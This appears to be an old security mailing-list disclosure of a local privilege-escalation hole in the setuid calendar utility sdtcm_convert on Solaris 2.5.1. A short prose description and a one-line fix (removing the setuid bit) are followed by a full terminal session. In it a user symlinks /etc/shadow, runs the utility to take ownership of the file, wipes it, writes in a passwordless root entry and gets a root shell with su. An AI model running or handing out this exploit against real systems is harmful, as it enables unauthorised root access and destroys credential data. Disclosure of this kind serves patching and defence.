Another hole in Solaris I have found a security hole in sdtcm_convert on Solaris 2.5.1. sdtcm_convert - calendar data conversion utility - allows any user to change the owner for any file (or directory) from the system or gain root access. The exploit is very simple. Change the permision mode of your calendar file (callog.YOU) from /var/spool/calendar directory (usual r--rw----) and run sdtcm_convert. sdtcm_convert 'll observe the change and 'll want to correct it (it 'll ask you first). You have only to delete the callog file and make a symbolic link to a target file and your calendar file and said to sdtcm_convert 'y' (yes). sdtcm_convert 'll make you the owner of target file ... A simple way to correct this is to get out suid_exec bit from sdtcm_convert. ----------------------------------------------------------------------------- CDE is generally a can of worms. 22:15 [wumpus:~] % whoami adam 22:15 [wumpus:~] % ls -l /etc/shadow -r-------- 1 root sys 291 Jul 11 22:14 /etc/shadow 22:15 [wumpus:~] % ln -s /etc/shadow /tmp/calorig.adam 22:15 [wumpus:~] % /usr/dt/bin/sdtcm_convert -d /tmp -v 3 adam Loading the calendar ... WARNING!! Data will be lost when converting version 4 data format back to version 3 data format. Do you want to continue? (Y/N) [Y] y Doing conversion ... Writing out new file ... Conversion done successfully. Total number of appointments = 0 Number of one-time appointments converted = 0 Number of repeating appointments converted = 0 Number of one-time appointments pruned = 0 Number of repeating appointments pruned = 0 The original file is saved in /tmp/calorig.adam 22:15 [wumpus:~] % ls -l /etc/shadow -r--rw---- 1 adam daemon 3114 Jul 11 22:15 /etc/shadow 22:15 [wumpus:~] % chmod 644 /etc/shadow 22:15 [wumpus:~] % cp /dev/null /etc/shadow cp: overwrite /etc/shadow (y/n)? y 22:15 [wumpus:~] % ls -l /etc/shadow -rw-r--r-- 1 adam daemon 0 Jul 11 22:15 /etc/shadow 22:15 [wumpus:~] % echo "root::6445::::::" >> /etc/shadow 22:16 [wumpus:~] % su # id uid=0(root) gid=1(other) # exit